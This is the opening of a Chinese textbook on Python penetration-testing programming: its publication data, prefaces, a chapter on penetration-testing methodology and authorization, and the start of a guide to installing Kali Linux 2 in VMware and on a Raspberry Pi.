随时、随地、随心阅读

当当云阅读

本书封面贴有清华大学出版社防伪标签，无标签者不得销售。

版权所有，侵权必究。举报：010-62782989，beiqinquan@tup.tsinghua.edu.cn。

图书在版编目（CIP）数据

Python渗透测试编程技术：方法与实践／李华峰著．—2版．—北京：清华大学出版社，2021.1

（清华开发者书库·Python）

ISBN 978-7-302-56388-4

Ⅰ．①P…　Ⅱ．①李…　Ⅲ．①软件工具－程序设计　Ⅳ．①TP311.561

中国版本图书馆CIP数据核字（2020）第166826号

责任编辑：秦　健

封面设计：刘　键

责任校对：徐俊伟

责任印制：杨　艳

出版发行：清华大学出版社

网　　址：http://www.tup.com.cn，http://www.wqbook.com

地　　址：北京清华大学学研大厦A座

邮　　编：100084

社总机：010-62770175

邮　　购：010-83470235

投稿与读者服务：010-62776969，c-service@tup.tsinghua.edu.cn

质量反馈：010-62772015，zhiliang@tup.tsinghua.edu.cn

印刷者：北京富博印刷有限公司

装订者：北京市密云县京文制本装订厂

经　　销：全国新华书店

开　　本：186mm×240mm

印　　张：18.75

字　　数：395千字

版　　次：2019年1月第1版　　2021年1月第2版

印　　次：2021年1月第1次印刷

定　　价：69.00元

产品编号：088857-01

作者简介

李华峰

多年来一直从事网络安全方面的教学与研究工作。他同时是一位资深的信息安全顾问和自由撰稿人，在网络安全部署、网络攻击与防御以及社会工程学等方面有十分丰富的实践经验。已出版的著作和译著包括：《精通Metasploit渗透测试（第2版）》《诸神之眼——Nmap网络安全审计技术揭秘》《Python渗透测试编程技术：方法与实践》《Wireshark网络分析从入门到实践》《Kali Linux 2网络渗透测试实践指南》等。

内容简介

本书是资深网络安全教师多年工作经验的结晶。书中系统且深入地将Python应用实例与网络安全相结合进行讲解，不仅讲述Python的实际应用方法，而且从网络安全原理的角度分析Python实现网络安全编程技术，真正做到理论与实践相结合。

全书共分为16章。第1章介绍网络安全渗透测试的相关理论；第2章介绍Kali Linux 2使用基础；第3章介绍Python语言基础；第4章介绍使用Python进行安全渗透测试的常见模块；第5章介绍使用Python实现信息收集；第6章和第7章介绍使用Python对漏洞进行渗透；第8章介绍使用Python实现网络的嗅探与欺骗；第9章介绍使用Python实现拒绝服务攻击；第10章介绍使用Python实现身份认证攻击；第11章介绍使用Python编写远程控制工具；第12章和第13章介绍使用Python完成无线网络渗透；第14章介绍使用Python完成Web渗透测试；第15章介绍使用Python生成渗透测试报告；第16章介绍Python取证相关模块。

本书适合网络安全渗透测试人员、运维工程师、网络管理人员、网络安全设备设计人员、网络安全软件开发人员、安全课程培训人员、高校网络安全专业方向的学生阅读。

Preface前言

为什么要写这本书

本书自第1版出版后，反响热烈，版权输出到中国台湾。其间作者收到许多读者的电子邮件，有的读者对本书提出了宝贵的意见，指出了书中的一些不当之处，在对本书做修订之际，作者对这些读者表示衷心的感谢，并希望读者继续关注本书，不吝赐教。作者也同许多读者就本书做过较为深入的探讨，备感鼓舞和欣慰的同时深感写好一本书的不易。

随着时代的发展，Python 2.7已于2020年1月1日正式停止官方维护，这也意味着Python 2将被淘汰。因此作者对这本书做了一次大“手术”，这是自本书初稿完成后所做的最大一次修改。本次修改了初稿一半左右的篇幅，并将所有的案例使用Python 3代码进行编写。本次修订时，虽然已仔细纠正其中的不当之处，但仍难免有不妥和错误之处，恳请读者批评指正。

本书提供了大量编程实例，这些内容与目前网络安全的热点问题相结合，既可以作为高等院校网络安全相关专业的教材，也适合作为网络安全工作者的参考用书。为了帮助读者高效学习本书内容，本书配套的案例代码以及作为高校教学配套使用的教案、讲稿和幻灯片已经上传到作者的公众号（邪灵工作室）中。读者可以通过关注本书作者的公众号下载相关资源。

阅读本书的建议

□　没有Python基础的读者，建议从第1章开始按顺序阅读并练习每一个实例。

□　有一定Python基础的读者，可以根据实际情况有重点地选择阅读部分技术要点。

□　对于每一个知识点和项目案例，先通读一遍，以便有一个大概印象；然后将每一个知识点的示例代码在开发环境中操作，以便加深对知识点的理解。

读者对象

本书的读者群主要是网络安全渗透测试人员、运维工程师、网络管理人员、网络安全设备设计人员、网络安全软件开发人员、安全课程培训学员、高校网络安全专业方向的学生，还包括各种非专业但热衷于网络安全研究的人员。

本书第1版被很多高校作为网络安全专业的教材。

本书主要内容

全书一共16章。

第1章主要介绍了网络安全渗透测试的相关理论。

第2章主要介绍了Kali Linux 2的使用基础。

第3章主要介绍了Python语言基础。

第4章主要介绍了安全渗透测试中的常见模块。

第5章主要介绍了使用Python实现信息收集。

第6章主要介绍了使用Python对漏洞进行渗透的基础部分。

第7章主要介绍了使用Python对漏洞进行渗透的高级部分。

第8章主要介绍了使用Python实现网络的嗅探与欺骗。

第9章主要介绍了使用Python实现拒绝服务攻击。

第10章主要介绍了使用Python实现身份认证攻击。

第11章主要介绍了使用Python编写远程控制工具。

第12章主要介绍了使用Python完成无线网络渗透基础部分。

第13章主要介绍了使用Python完成无线网络渗透高级部分。

第14章主要介绍了使用Python对Web应用进行渗透测试。

第15章主要介绍了使用Python生成渗透测试报告。

第16章主要介绍了使用Python进行取证的相关模块。

关于勘误

虽然作者花了很多时间和精力去核对书中的文字、代码和图片，但因为时间仓促和水平有限，书中仍难免会有一些不足和疏漏，如果读者发现问题，恳请反馈给作者，相关信息可发到作者的公众号（邪灵工作室）或者通过清华大学出版社www.tup.com.cn与作者联系。作者会努力回答疑问或者指出一个正确的方向。

致谢

感谢所有的读者，是你们的支持促成了本书的面世。感谢作者所在单位提供了自由的科研工作环境，正是这种完全自由的氛围才使得作者多年的心血能够以文字的形式展示出来。

感谢清华大学出版社秦健编辑在本书的编写过程中对作者的支持。

最后感谢身边的每一位亲人、朋友以及学生，感谢你们在作者编写此书时给予的支持与理解。

第1版前言

为什么要写这本书

“人生苦短，我用Python。”短短的几年时间中，Python在国内迅速成为最为热门的编程语言之一。为什么Python会取得如此大的成功呢？原因很简单，功能强大、简单易学是它最大的优势。

Python的到来对国内的网络安全从业人员来说，更是一个好消息。虽然目前市面上已经有很多功能强大的网络安全工具，但是网络环境的复杂往往是无法预知的，因此这些工具经常会有无法胜任的时候。这时如果网络安全从业人员具备编程能力，就可以弥补这些工具的不足之处。

但是，对网络安全从业人员来说，最重要的应该是对各种网络安全缺陷的掌握。因此，目前的网络安全培训和书籍大都以工具的使用为主，忽视了编程能力的培养。编程能力的欠缺直接造成了网络安全从业人员工作效率低下。但是要求网络安全从业人员花费大量的时间和精力去掌握一门传统的编程语言，实际上并不现实。因此一门简单而又强大的编程语言才是网络安全从业人员所需要的。近年来，Python在编程界异军突起，几乎成为最热门的编程语言。Python可以说是一门无所不能的编程语言，因而也受到了广大网络安全从业人员的喜爱。

在本书的编写过程中，作者一直在学校从事网络安全方面的教学工作。在实践中，作者发现这个专业的学生面对的最大困难是无法将网络安全中各种分散的知识联系起来。这些年作者也一直在寻求这个难题的解决方法，在此期间参阅了大量的国外优秀文献。而最终作者发现这个问题的答案就是掌握一门编程语言，编程实现所有的知识点，而这个编程语言的最佳选择正是Python。本书在成书之前已经作为讲义在课堂上使用了多年，作者也根据学生的反馈对其进行了增删。这些同学也成为本书最初的读者，希望这本书在给他们带来知识的同时，也能给各位读者带来一些帮助。

本书特色

本书由资深网络安全教师撰写。内容围绕如何使用目前备受瞩目的Python语言进行网络安全编程展开。本书从Python的基础讲起，系统讲述了网络安全的作用、方法论，Python在网络安全管理上的应用，以及Python在实现这些应用时相关的网络原理和技术。同时结合实例讲解使用Python进行网络安全编程的方法，以及在实际渗透中的各种应用，包括安全工具的开发、自动化报表的生成、自定义模块的开发等。从而将Python变成读者手中的编程利器。

阅读本书的建议

□　没有Python基础的读者，建议从第1章开始顺序阅读并演练每一个实例。

□　有一定Python基础的读者，可以根据实际情况有重点地选择阅读各个技术要点。

□　对于每一个知识点和项目案例，先通读以便有个大概印象，然后将每一个知识点的示例代码都在开发环境中操作以便加深对知识点的印象。

读者对象

本书的读者主要是网络安全渗透测试人员、运维工程师、网络管理人员、网络安全设备设计人员、网络安全软件开发人员、安全课程培训人员、高校网络安全专业方向的学生。

其他读者还包括各种非专业但热衷于网络安全研究的人员。

本书主要内容

全书一共15章。

第1章主要介绍了网络安全渗透测试的相关理论。

第2章主要介绍了Kali Linux 2使用基础。

第3章主要介绍了Python语言基础。

第4章主要介绍了使用Python进行安全渗透测试中的常见库。

第5章主要介绍了使用Python实现信息收集。

第6章主要介绍了使用Python对漏洞进行渗透的基础部分。

第7章主要介绍了使用Python对漏洞进行渗透的高级部分。

第8章主要介绍了使用Python实现网络的嗅探与监听。

第9章主要介绍了使用Python实现拒绝服务攻击。

第10章主要介绍了使用Python实现身份认证攻击。

第11章主要介绍了使用Python来编写远程控制软件。

第12章主要介绍了使用Python完成无线网络渗透基础部分。

第13章主要介绍了使用Python完成无线网络渗透高级部分。

第14章主要介绍了使用Python完成Web渗透测试。

第15章主要介绍了使用Python生成渗透测试报告。

关于勘误

虽然作者花了很多时间和精力去核对书中的文字、代码和图片，但因为时间仓促和水平有限，书中仍难免会有一些错误和疏漏，如果大家发现什么问题，恳请将相关信息反馈给清华大学出版社，我们肯定会努力回答疑问或者指出一个正确的方向。

致谢

感谢作者的每一本书的读者，是你们的支持才有了本书的面世。感谢作者所在单位提供的自由的科研工作环境，正是这种完全自由的氛围才使得作者多年的心血能够以文字的形式展示出来。

感谢清华大学出版社的秦健编辑，在本书的编写过程中他始终支持作者的写作，他的鼓励和帮助引导我顺利完成全部书稿。

最后感谢身边的每一位亲人、朋友以及学生，感谢你们在编写此书时给予的支持与理解。

第1章　概述

程序和网络设计者的目的是创造，而大部分黑客的目的却是破坏和窃取。随着信息数据越来越重要，现在每一个程序都好像是一家拥有大量现金的银行，吸引着无数心怀不轨的盗贼。遗憾的是，这些行走在二进制世界里的盗贼们恰恰也是现实世界中最聪明的人群之一。

有什么办法能阻止这些本来只应该生活在传说中的人呢？这其实是一个困扰了人们很多年的问题。不过现在这个问题有了答案，“最了解你的人其实正是你的敌人”。既然迟早要面对黑客的入侵，那么为何不在他们下手前找出自身弱点呢？显然设计者本身很难胜任这样的工作。那么经验丰富的黑客呢，由他们来负责检验系统的安全性是不是会更合适一些呢？答案是显然的，不过此时进行这些检验的人充当的角色不再是黑客，而是网络安全渗透测试专家，他们所从事的工作也不再是破坏和窃取，而是保障系统安全。

如果你是第一次接触到网络安全渗透测试问题，可能会对此充满好奇和期待。那么在这一章中将从以下主题来展开对网络安全渗透测试的学习。

□　什么是网络安全渗透测试。

□　如何开展网络安全渗透测试。

□　进行网络安全渗透测试都需要掌握哪些技能。

1.1　网络安全渗透测试

在学习这个主题之前，先来了解一下网络安全渗透测试是什么。长期以来，在网络安全从业者的心目中常常会有如下一些错误的观点。

□　网络安全渗透测试就是漏洞扫描，所以只需要用工具对目标进行扫描操作就可以了。一款功能强大的扫描工具的确可以比人工更快地检测出系统的漏洞问题，因此渗透测试者也都会使用一些工具。但是漏洞扫描仅仅是网络安全渗透测试的一个环节，除此之外，例如目标系统设备的部署问题、使用者的安全意识等都无法通过扫描工具获得。而且单单使用工具进行扫描也无法展示出一个漏洞可能造成的后果。

□　网络安全渗透测试就是破解。破解还有一个专业的名称，那就是逆向工程。同样，破解也是网络安全渗透测试的一个部分，破解的目的就是发掘系统的漏洞，许多优秀黑客都是以发现了重大的漏洞而著名。但这一点和前面的漏洞扫描一样，只能作为全部渗透测试的一个环节。

□　网络安全渗透测试就是黑客入侵。这是一个十分普遍的错误观点，黑客入侵是为了实现某种目的，例如窃取信息或者破坏系统，因此只需要找到能实现该目的的一种方法，而渗透测试则需要找出黑客实现目的的所有途径，并且给出可能产生的效果和修复的方案。

可网络安全渗透测试是什么呢？

实际上，网络安全渗透测试严格的定义应该是一种针对目标网络进行安全检测的评估。通常这种测试由专业的网络安全渗透测试专家完成，目的是发现目标网络存在的漏洞以及安全机制方面的隐患并提出改善方法。从事渗透测试的专业人员会采用和黑客相同的方式对目标进行入侵，这样就可以检测网络现有的安全机制是否足以抵挡恶意攻击。根据事先对目标信息的了解程度，网络安全渗透测试的方法有黑盒测试、白盒测试和灰盒测试3种。

黑盒测试也称为外部测试。在进行黑盒测试时，事先假定渗透测试人员先期对目标网络的内部结构和所使用的程序完全不了解，从网络外部对其网络安全进行评估。黑盒测试中需要耗费大量的时间来完成对目标信息的收集。除此之外，黑盒测试对渗透测试人员的要求也是最高的。

白盒测试也称为内部测试。在进行白盒测试时，渗透测试人员必须事先清楚地知道目标网络的内部结构和技术细节。相比黑盒测试，白盒渗透测试的目标是明确定义好的，因此白盒测试无须进行目标范围定义、信息收集等操作。这种测试的目标网络都是某个特定业务对象，因此，相比黑盒测试，白盒测试能够给目标带来更大的价值。

将白盒测试和黑盒测试组合使用，就是灰盒测试。在进行灰盒测试时，渗透测试人员只能了解部分目标网络的信息，无法掌握网络内部工作原理和限制信息。

网络安全渗透测试的目标包括一切和网络相关的基础设施，内容如下。

□　网络设备，主要包含连接到网络的各种物理实体，如路由器、交换机、防火墙、无线网络接入点、服务器、个人计算机等。

□　操作系统，是指管理和控制计算机硬件与软件资源的计算机程序，例如，个人计算机经常使用的Windows 7、Windows 10等，服务器上经常使用的Windows 2012和各版本的Linux。

□　物理安全，主要是指机房环境、通信线路等。

□　应用程序，主要是针对某种应用目的开发的程序。

□　管理制度，这部分其实是全部目标中最为重要的，指的是为保证网络安全对使用者提出的要求和做出的限制。

网络安全渗透测试的成果通常是一份报告。这份报告中应当给出目标网络中存在的威胁，以及威胁的影响程度，并给出对这些威胁的改进建议和修复方案。

另外需要注意的是，网络安全渗透测试并不能等同于黑客行为。相比黑客行为，网络安全渗透测试具有以下特点。

□　网络安全渗透测试是商业行为，要由客户主动提出，并给予授权许可才可以进行。

□　网络安全渗透测试必须对目标进行整体性评估，尽可能全面分析。

□　网络安全渗透测试的目的是改善用户的网络安全机制。

1.2　开展网络安全渗透测试

作为一次网络安全渗透测试的执行者，首先应明确在整个渗透测试过程中需要进行的工作。当接受客户的渗透测试任务时，往往对于所要进行测试的目标知之甚少甚至一无所知。而在渗透测试结束的时候，对目标的了解程度已经远远超过客户。在此期间，要从事大量的研究工作，根据pentest-standard.org给出的渗透测试执行标准，整个渗透测试过程可以分成如下7个阶段。

□　前期与客户的交流。

□　收集情报。

□　威胁建模。

□　漏洞分析。

□　漏洞利用。

□　后渗透攻击。

□　报告。

接下来分别介绍这7个阶段中所需要完成的工作。

1.2.1　前期与客户的交流

在这个阶段，渗透测试者需要得到客户的配合来确定整个渗透测试任务的范围，也就是说要确定对目标的哪些设备和哪些问题进行测试。而这些内容是在与客户进行商讨之后得出的。在整个商讨的过程中，重点考虑的因素如下。

1．渗透测试的目标

通常这个目标会是一个包含很多主机的网络。这时需要确定的是渗透测试所涉及的IP地址范围和域名范围。但是客户所使用的Web应用程序和无线网络，甚至安保设备和管理制度，也可能成为渗透测试的目标。同样还应明确客户需要的是全面评估还是只针对其中某一方面或部分评估。

2．进行渗透测试过程所使用的方法

这个阶段可以采用的方法主要有黑盒测试、白盒测试和灰盒测试3种。

3．进行渗透测试所需要的条件

如果采用的是白盒测试，需要客户提供测试必需的信息和权限，客户最好可以接受问卷调查。确定进行渗透的时间，例如，只能在周末进行还是随时都可以进行。如果在渗透测试过程中导致目标受到破坏，应该如何补救等。

4．渗透测试过程中的限制条件

在整个渗透测试过程中，必须与客户明确哪些设备不能进行渗透测试，以及哪些技术不能应用。另外，也需要明确在哪些时间段不能进行渗透测试。

5．渗透测试过程的工期

根据客户的需求，给出整个渗透测试的进度表。客户可以了解渗透测试的开始时间与结束时间，以及在每个时间段进行的工作。

6．渗透测试的费用

这个话题其实很少出现在一本教科书中，但是，在实践中这恰恰是一个很复杂的问题，需要考虑的因素很多。例如，在对一个拥有100台计算机的网络进行渗透测试的时候，收取的费用为10万元，那么每台计算机的费用就是1000元。但这并不是一种线性关系，如果某个客户只要求对一台计算机进行渗透测试，那么费用不能只是1000元，因为工作量明显不同。在计算费用的时候要充分考虑各种成本。

7．渗透测试过程的预期目标

渗透测试者必须牢记的一点是，自己并非黑客。发现目标存在的漏洞、获取目标的控制权限或者得到目标的管理密码只完成了一部分任务，还需要明确客户期望在渗透测试结束时应该实现什么目标，最终的渗透报告应该包含哪些内容。

1.2.2　收集情报

这里的“情报”指的是目标网络、服务器、应用程序的所有信息。渗透测试人员需要使用各种资源尽可能地获取测试目标的相关信息。

如果现在采用黑盒测试的方式，那么可以说这是整个渗透测试过程中最为重要的一个阶段，所谓“知己知彼，百战不殆”也正说明了情报收集的重要性。这个阶段所使用的技术可以分成以下两种。

1．被动扫描

这种扫描方式通常不会被对方所发现，打一个比方，如果希望了解某一个人的信息，那么可以向他身边的人询问，如他的邻居、同事甚至他所在社区的工作人员。那么收集到信息又有什么呢？可能是他的名字、年龄、职业、籍贯、兴趣、学历等。

对一个目标网络来说，也可以获得很多信息，例如，现在仅仅知道客户的一个域名（例如www.testfifire.net，这是美国IBM公司提供的一个专门用来进行渗透测试训练的目标，所以对该目标进行扫描无须担心法律问题），通过这个域名就可以使用Whois查询到这个域名所有者的联系方式（包括电话号码、电子邮箱、传真、公司所在地等信息，以及域名的注册和到期时间），通过搜索引擎还可以查找与该域名相关的电子邮箱地址、博客、文件等。

2．主动扫描

这种扫描方式的技术性比较强，通常会使用专业的扫描工具对目标进行扫描。扫描之后获得的信息包括目标网络的结构、使用设备的类型，以及目标主机上运行的操作系统、开放的端口、提供的服务、运行的应用程序等。

1.2.3　威胁建模

如果将开展一次渗透测试看作指挥一场战争，威胁建模阶段就像是在制定战争的策略。在这个阶段有两个关键性的要素——资产和攻击者（攻击群体）。对客户的资产进行评估，可找出其中重要的资产。例如，客户是一家商业机构，那么这家机构的客户信息就是重要资产。在这个阶段主要考虑如下问题：

□　哪些资产是目标中的重要资产？

□　攻击时采用什么技术和手段？

□　哪些群体可能会对目标系统造成破坏？

□　这些群体会使用哪些方法进行破坏？

分析以上不同群体发起攻击的可能性，可以更好地帮助确定渗透测试时所使用的技术和工具。这些攻击群体可能是：

□　有组织的犯罪机构。

□　黑客。

□　“脚本小子”。

□　内部员工。

1.2.4　漏洞分析

这个阶段是从目标中发现漏洞的过程。漏洞可能位于目标的任何一个位置。从服务器到交换机，从所使用的操作系统到Web应用程序，都是要检查的对象。在这个阶段会根据之前情报收集时发现目标的操作系统、开放端口和服务程序，查找和分析目标系统中可能存在的漏洞。这个阶段如果单纯依靠手动分析来完成，是十分耗时、耗力的，不过Kali Linux 2系统中提供了大量的网络和应用漏洞评估工具，利用这些工具可以自动化地完成这些任务。需要注意的是，对目标的漏洞分析不仅限于软件和硬件，而且需要考虑人的因素，也就是长时间研究目标人员的心理，从而对其实施欺骗以便达到渗透目的。

1.2.5　漏洞利用

找到目标上存在的漏洞之后，就可以利用漏洞渗透程序对目标系统进行测试。这个阶段中关注的重点是如何绕过目标的安全机制来控制目标系统或访问目标资源。如果在上一阶段中顺利完成任务，那么这个阶段可以准确顺利进行。这个阶段的渗透测试应该具有精准的范围。漏洞利用的主要目标是获取之前评估的重要资产。最后进行渗透时还应该考虑成功的概率和对目标可能造成破坏的最大影响。目前最为流行的漏洞渗透程序框架是Metasploit。通常这也是最为激动人心的时刻，因为渗透测试者可以针对目标系统使用对应的入侵模块获得控制权限。

1.2.6　后渗透攻击

这个阶段和上一个阶段连接十分紧密，作为一个渗透测试者，必须尽可能地将目标被渗透后所可能产生的后果模拟出来。在这个阶段可能要完成的任务包括：

□　控制权限的提升。

□　登录凭证的窃取。

□　重要信息的获取。

□　利用目标作为跳板。

□　建立长期的控制通道。

这个阶段的主要目的是向客户展示当前网络存在的问题会带来的风险。

1.2.7　报告

这是整个渗透测试阶段的最后一个阶段，同时也是最能体现工作成果的一个阶段，要将之前的所有发现以书面的形式提交给客户。实际上，这份报告也是客户唯一的需求。必须以简单、直接且尽量避免大量专业术语的形式向客户汇报测试目标中存在的问题，以及可能产生的风险。这份报告中应该指出：目标系统最重要的威胁，使用渗透数据生成的表格和图标，对目标系统存在问题的修复方案，以及对当前安全机制的改进建议等。

1.3　网络安全渗透测试需要掌握的技能

《诸神之眼——Nmap网络安全审计技术提秘》在出版之后，作者收到很多读者的邮件，其中大部分都问到同一个问题：如何才能成为一名合格的网络安全渗透测试人员？在作者看来，如下几点是必不可少的。

□　网络方面的知识。这方面的知识其实十分庞大，其中包括计算机体系结构、局域网技术、广域网技术、各种常见网络设备、TCP/IP协议族中的各种技术、应用层常见的协议和软件等。

□　渗透测试工具的使用。目前世界上存在大量的安全工具，黑客可能会利用这些工具实现入侵。而安全渗透测试人员也可以利用这些工具提前对目标进行检查，从而发现目标的漏洞和缺陷等。现在这些工具的数量极多，而且仍然在不断增加。对一个初学者来说，最为困难的两个问题就是在面对某个问题时如何选择和正确使用工具。

在以前这些问题的确很难解决，那时候作者一直有编写一本《黑客词典》的想法，按照最初的想法，就是按照功能的不同将各种工具分类，然后分别介绍该工具的功能和用法。不过很快作者就发现这几乎是一个不可能完成的任务，因为世界上各种工具的数量实在是太多了，而且增加的速度非常快。

不过随着Kali Linux操作系统的出现，这个问题已经得到解决。这个系统中集成了大量优秀的安全工具，而且对这些工具进行了分类，可以节省用户大量的精力和时间。所以本书的实例都采用Kali Linux操作系统作为环境。

□　程序的编写。既然已经有了那么多优秀的安全工具，为什么还要学习编写程序呢？很多所谓的黑客，甚至上了新闻的黑客，他们并不会编程，他们通常使用别人开发的程序恶意破坏系统，这些人也被称为“脚本小子”。这可不是一个褒义词，在计算机的世界中不会编程就如同在现实世界中无法讲话。

程序的编写也正是本书的重要内容，作为一名合格的网络安全渗透测试人员，最好熟练掌握一门编程语言，并且了解各种常见的编程语言。编程语言并没有高低之分，但是确实有难易，本书选用Python 3作为讲解内容，主要是考虑到这门语言强大的第三方库，而且学习者不必花费大量的时间来学习这门语言的语法，这一点对于初学者十分难得，相信读者在对本书的阅读过程中会很快领会到Python的魅力。

1.4　小结

本章对什么是网络安全渗透测试，以及如何开展一次网络安全渗透测试进行了介绍。掌握渗透测试的标准对于后面内容的学习有很大的帮助。在本章的最后还介绍了成为网络安全渗透测试人员所需要的技能。在后面的章节中将通过案例对这些技能进行详细讲解。因为本书中的编程实例都在Kali Linux 2中完成，所以在第2章中将会详细讲解Kali Linux 2的使用方法。

如果读者希望对本章讲解的网络安全渗透测试标准有更深入的了解，可以访问www.pentest-standard.org，在这个网站中极为详细地介绍了渗透测试的7个阶段。

第2章　Kali Linux 2使用基础

在现实生活中经常有人会问我一个问题：“黑客是不是都不用Windows操作系统？”其实这也是很多人都想要了解的一个问题，这个问题的答案并不是绝对的。但是，大多数从事网络安全的专家的确不会选择使用Windows来完成自己的工作。那么下一个问题就是：“在进行网络安全渗透测试时，要使用什么操作系统呢？”

在本章中将会介绍世界上最著名的渗透测试系统——Kali Linux 2。本章将会围绕以下问题展开学习。

□　Kali Linux 2简介。

□　Kali Linux 2安装。

□　Kali Linux 2的常用操作。

□　VMware的高级操作。

2.1　简介

Kali Linux 2是一个面向专业人士的渗透测试和安全审计的操作系统，它是由大名鼎鼎的Back Track系统发展而来。Back Track系统曾经是世界上最为优秀的渗透测试操作系统，取得了极大成功。之后Offensive Security对Back Track进行了升级改造，并在2013年3月推出了Kali Linux 1.0，相比起Back Track，Kali Linux提供了更多、更新的工具。之后，Offensive Security每隔一段时间都会对Kali进行更新，在2016年又推出了功能更为强大的Kali Linux 2。目前最新的版本是2020年推出的Kali Linux 2020.1。在这个版本中包含13个大类的各种程序，几乎涵盖当前世界上所有优秀的渗透测试工具。如果你之前没有使用过Kali Linux 2，那么相信你绝对会被里面数量众多的工具所震撼。

需要注意的是，Kali Linux 2本身并不是一个新的操作系统，而是一个基于Debian的Linux发行版。如果你之前熟悉Debian，那么使用Kali Linux 2将会十分容易。不过Kali Linux 2也提供了类似Windows的图形化操作界面，即使你此前完全没有使用Linux的经验，也可以轻易上手操作。

2.2　安装Kali Linux 2

和普通的应用软件不同，操作系统的安装一直都是一件比较麻烦的事。而且和只能安装在计算机上的Windows操作系统不同，Kali Linux 2可以说是一个几乎能安装到任何智能设备上的操作系统。计算机、平板、手机、虚拟机、U盘、光盘播放设备都可以成为Kali Linux 2的载体，另外现在极为流行的Raspberry Pi（中文名为“树莓派”，简写为RPi）也可以安装Kali Linux 2。甚至连亚马逊公司推出的云计算服务平台AWS中也提供了装有Kali Linux 2系统的虚拟主机。

在硬盘上安装Kali Linux 2的过程几乎与其他Linux系统没有差异，而且大家在实际使用中很少会将其作为第一系统，故本书省略掉了对硬盘安装方式的描述。下面介绍两种简单常用的方式。

2.2.1　在VMware虚拟机中安装Kali Linux 2

在现实生活中，你可能会发现很多工作必须在Windows下完成，所以往往需要保留Windows，但还要在计算机上安装一个Kali Linux 2操作系统。这时通常有两个选择：一是安装双系统；二是使用虚拟机。这里从使用方便的角度来说，更建议使用第二种方法。因为虚拟机最大的好处就在于可以在一台计算机上同时运行多个操作系统，所以获得的其实不只是双系统，而是多个系统。这些操作系统之间是独立运行的，跟实际上的多台计算机并没有区别。但是模拟操作系统的时候会造成很大的系统开销，因此最好增加计算机的物理内存。

目前优秀的虚拟机软件包括VMware workstation和Virtual Box，这两个软件的操作都很简单，这里以VMware workstation为例。截至目前VMware workstation的最常用版本为15，建议大家在使用的时候尽量选择较新的版本。

Offensive Security提供了Kali Linux 2020.1的虚拟机镜像文件。下载地址为https://www.kali.org/downloads/。本书中所使用的实例都是使用在该地址下载的Kali Linux 64-bit VMware进行调试的（见图2-1），这也是写作本书时最新的一个版本。所以在本书的学习过程中，建议选择相同的版本。

图2-1　多种版本的Kali Linux下载页面

单击Kali Linux 64-bit VMware后面的Available on the offensive Security VM DownLoad Page链接，可以打开一个新的页面，如图2-2所示。

下载之后是一个压缩文件kali-Linux-2020.1-vmware-amd64.7z，将这个文件解压到指定目录中。例如将这个文件解压到E:\kali-Linux-2020.1-vmware-amd64目录。启动VMware之后，在菜单选项中依次选择“文件”|“打开”命令，如图2-3所示。

图2-2　Kali Linux 64-bit VMware的下载页面

图2-3　在菜单选项中依次选择“文件”|“打开”命令

然后在弹出的文件选择框中选中Kali-Linux-2020.1-vmware-amd64.vmx，如图2-4所示。

图2-4　选中Kali-Linux-2020.1-vmware-amd64.vmx

双击打开之后，在VMware的左侧列表中就多了一个Kali-Linux-2020.1-vmware-amd64系统，双击这个选项就可以启动这个系统，如图2-5所示。

图2-5　选中Kali-Linux-2020.1-vmware-amd64系统

2.2.2　在树莓派中安装Kali Linux 2

在很多电影和电视剧都会出现这样一个情节，有人使用无人机飞到某个大厦之中，然后在里面启动钓鱼Wi-Fi，或者以此入侵大厦的无线网络，这款神奇的设备引起了很多人的关注，几乎成了传说的神器。其实这种设备并不复杂，只需要一个无人机和一个安装了Kali Linux 2的树莓派就可以实现。

现在介绍一下这个工具的制作方法。首先需要一个树莓派。树莓派由注册于英国的慈善组织Raspberry Pi基金会开发，它是一款基于ARM的微型计算机主板，以MicroSD卡为内存硬盘，卡片主板周围有1、2、4个USB接口和一个10/100以太网接口（A型没有网口），可连接键盘、鼠标和网线，同时拥有视频模拟信号的电视输出接口和HDMI高清视频输出接口，以上部件全部整合在一张仅比信用卡稍大的主板上。可就这样的一个小工具，却几乎具备了PC的所有功能。

相比起平时所使用的计算机来说，树莓派的优势就是体积足够小，同时功能又比手机设备强大得多。可以很容易在国内电商网站如淘宝和京东购买到想要的树莓派。树莓派有多个版本，截至本书出版时最新的为2019年6月24日发布的树莓派4B版本，它提供了内存分别为1 GB、2 GB和4GB的3个型号，如图2-6所示。

图2-6　树莓派4B版

树莓派所使用的Kali Linux 2与普通计算机上使用的不同，需要下载专门的ARM版本，如图2-7所示。

图2-7　下载ARM版本的Kali Linux 2

ARM版本中又包含了适合不同硬件的设备，这里需要下载树莓派使用的64位的Kali Linux 2，如图2-8所示。

图2-8　下载树莓派使用的Kali Linux

树莓派本身不能存储数据，存储功能要依靠外置的MicroSD卡实现。安装Kali Linux 2的空间最小要求是8GB。以经验来看MicroSD卡的空间最好不要小于32GB，通常来说64GB最合适，因为后期在进行软件安装和更新的时候，系统占用的存储空间会很快增大。

在树莓派上安装Kali Linux 2，需要将下载的kali-Linux-2020.1a-rpi3-nexmon-64.img.xz解压，然后烧录到SD卡上。这里选择使用Win32 Disk Imager作为烧录工具，如图2-9所示。

首先在Win32 Disk Imager中选择SD卡，如图2-10所示。

图2-9　Win32 Disk Imager工具

图2-10　在Win32 Disk Imager中选择SD卡

然后选择kali-Linux-2020.1a-rpi3-nexmon-64.img，如图2-11所示。

接下来就可以进行烧录了。单击下方的Write按钮进行烧录，如图2-12所示。

图2-11　选择kali-Linux-2020.1a-rpi3-nexmon-64.img

图2-12　单击Write按钮开始烧录

烧录操作前会有一个确认操作，如图2-13所示，单击Yes按钮。

接下来需要耐心等待一段时间来完成烧录操作，如图2-14所示。

图2-13　确认操作

图2-14　烧录过程

大概需要10多分钟的时间，烧录即可完成。这时会弹出一个Complete提示框。同时会弹出一个如图2-15所示的提示框，此时不要选择“格式化磁盘”按钮。

图2-15　格式化窗口

将烧录好的MicroSD卡放置到树莓派中，为了方便使用树莓派，需要准备一套USB接口的鼠标键盘，一个支持HDMI的显示器以及网线或者无线网卡。然后可以像在PC上使用Kali Linux 2一样进行操作了。需要注意的是，在树莓派上启动Kali Linux 2的时候，用户名和密码并不是kali|kali，仍然是之前版本使用的root和toor，因此，再次进行操作时无须使用sudo（2.3.1节中对此有详细介绍）。

2.3　Kali Linux 2的常用操作

启动Kali Linux 2之后，可以看到一个和Windows相类似的图形化操作界面，这个界面的上方有一个菜单栏，左侧有一个快捷工具栏。单击菜单上的“应用程序”，可以打开一个下拉菜单，所有的工具按照功能的不同分成了13种（菜单中有14个选项，但是最后的“系统服务”并不是工具分类）。当选中其中一个种类的时候，这个种类所包含的软件就会以菜单的形式展示出来，如图2-16所示。
